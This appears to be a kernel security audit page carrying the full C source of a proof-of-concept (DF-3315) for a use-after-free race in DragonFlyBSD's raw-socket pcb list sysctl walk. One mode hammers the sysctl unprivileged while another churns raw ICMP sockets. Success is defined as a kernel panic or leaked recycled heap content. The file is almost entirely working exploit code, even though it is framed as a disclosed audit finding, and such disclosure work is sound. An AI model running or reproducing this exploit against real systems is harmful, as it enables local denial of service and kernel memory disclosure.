⬢ DragonFlyBSD Kernel Audit
DF-3315 / pcb_race.c
← back to finding ↓ download raw
/*
 * DF-3315 PoC -- unsynchronized in_pcblist_range() walk of a NON-shared
 * pcbinfo (ripcbinfo: infotoken == NULL) racing pcb teardown in netisr0.
 *
 * BUG (sys/netinet/in_pcb.c:2444-2495):
 *   The sysctl walker (a USER thread migrated to pcbinfo->cpu via
 *   lwkt_migratecpu) advances its list marker with a two-step, non-atomic
 *   dance:
 *        inp = LIST_NEXT(marker);
 *        LIST_REMOVE(marker);
 *        LIST_INSERT_AFTER(inp, marker);
 *   For non-shared pcbinfo GET_PCBINFO_TOKEN() is a NO-OP, so nothing
 *   serializes this against netisr0 (rip_detach -> in_pcbdetach ->
 *   in_pcbofflist -> kfree(inp)).  If netisr0 preempts the walker inside
 *   that window and removes+frees `inp`, LIST_INSERT_AFTER writes the
 *   marker pointer INTO FREED MEMORY and leaves the list inconsistent;
 *   the subsequent inp->inp_flags / prison_xinpcb() / bcopy(inp, ...)
 *   operate on freed (possibly recycled) memory.  The marker only covers
 *   the SYSCTL_OUT() sleep case, not same-cpu netisr preemption.
 *
 * MODES
 *   -r seconds      reader  : hammer `sysctl net.inet.raw.pcblist`.
 *                            Runs UNPRIVILEGED (any user can read it).
 *   -c nsec nsock   churner : keep nsock raw ICMP sockets alive and
 *                            close/reopen one at a time (privileged; the
 *                            unprivileged equivalent is a setuid-ping
 *                            exec loop, since /sbin/ping is setuid-root
 *                            and each run creates+closes a raw socket).
 *
 * SUCCESS CRITERION: kernel panic (LIST corruption / wild deref in
 * prison_xinpcb / sotoxsocket / in_pcbofflist KASSERT) or garbage
 * (recycled-heap) content in the dumped xinpcb records.
 */
#include <sys/param.h>
#include <sys/sysctl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

static volatile sig_atomic_t stop;

static void
onsig(int sig __unused)
{
	stop = 1;
}

static double
now(void)
{
	struct timespec ts;

	clock_gettime(CLOCK_MONOTONIC, &ts);
	return (ts.tv_sec + ts.tv_nsec / 1e9);
}

static void
reader(int seconds, int verbose)
{
	int mib[4];
	size_t miblen = 4;
	void *buf = NULL;
	size_t cap = 0;
	unsigned long dumps = 0, errs = 0, bytes = 0;
	double t0 = now(), t;

	if (sysctlnametomib("net.inet.raw.pcblist", mib, &miblen) < 0) {
		perror("sysctlnametomib(net.inet.raw.pcblist)");
		exit(1);
	}

	while (!stop && (t = now()) - t0 < seconds) {
		size_t need, len;
		int error;

		/* sizing pass: oldptr == NULL */
		need = 0;
		error = sysctl(mib, miblen, NULL, &need, NULL, 0);
		if (error)
			continue;
		if (need > cap) {
			free(buf);
			cap = need + need / 2 + 4096;
			buf = malloc(cap);
			if (buf == NULL) {
				perror("malloc");
				exit(1);
			}
		}
		len = cap;
		error = sysctl(mib, miblen, buf, &len, NULL, 0);
		if (error) {
			errs++;	/* ENOMEM when the list grew past our buffer */
			continue;
		}
		dumps++;
		bytes += len;
		if (verbose && (dumps % 20000) == 0)
			fprintf(stderr, "reader: %lu dumps (%lu bytes)\n",
			    dumps, bytes);
	}
	printf("reader: %lu dumps, %lu errors, %lu bytes in %.1fs "
	    "(%.0f dumps/s)\n", dumps, errs, bytes, now() - t0,
	    dumps / (now() - t0));
}

static void
churn(int seconds, int nsock)
{
	int *fds;
	unsigned long cycles = 0, fails = 0;
	double t0 = now();
	int i;

	fds = malloc(nsock * sizeof(int));
	if (fds == NULL) {
		perror("malloc");
		exit(1);
	}
	for (i = 0; i < nsock; i++) {
		fds[i] = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
		if (fds[i] < 0) {
			perror("socket(SOCK_RAW, ICMP)");
			nsock = i;
			break;
		}
	}
	printf("churn: %d raw sockets held\n", nsock);
	if (nsock == 0)
		exit(1);

	i = 0;
	while (!stop && now() - t0 < seconds) {
		/* close one, then recreate it: each close removes a pcb
		 * from ripcbinfo.pcblisthead in netisr0 (rip_detach ->
		 * in_pcbdetach -> in_pcbofflist + kfree). */
		close(fds[i]);
		fds[i] = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
		if (fds[i] < 0) {
			fails++;
			fds[i] = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
		}
		cycles++;
		i = (i + 1) % nsock;
	}
	printf("churn: %lu close+create cycles (%.0f/s), %lu fails\n",
	    cycles, cycles / (now() - t0), fails);
	for (i = 0; i < nsock; i++)
		if (fds[i] >= 0)
			close(fds[i]);
}

static void
usage(void)
{
	fprintf(stderr, "usage: pcb_race -r seconds [-v]\n"
	    "       pcb_race -c seconds nsock\n");
	exit(2);
}

int
main(int argc, char **argv)
{
	int ch, seconds = 60, nsock = 96, verbose = 0;
	void (*mode)(int, int) = NULL;

	while ((ch = getopt(argc, argv, "r:c:v")) != -1) {
		switch (ch) {
		case 'r':
			mode = reader;
			verbose = 0;
			seconds = atoi(optarg);
			nsock = 0;
			break;
		case 'c':
			mode = churn;
			seconds = atoi(optarg);
			nsock = (optind < argc) ? atoi(argv[optind]) : 96;
			break;
		case 'v':
			verbose = 1;
			break;
		default:
			usage();
		}
	}
	if (mode == NULL)
		usage();
	signal(SIGINT, onsig);
	signal(SIGTERM, onsig);
	mode(seconds, nsock ? nsock : verbose);
	return (0);
}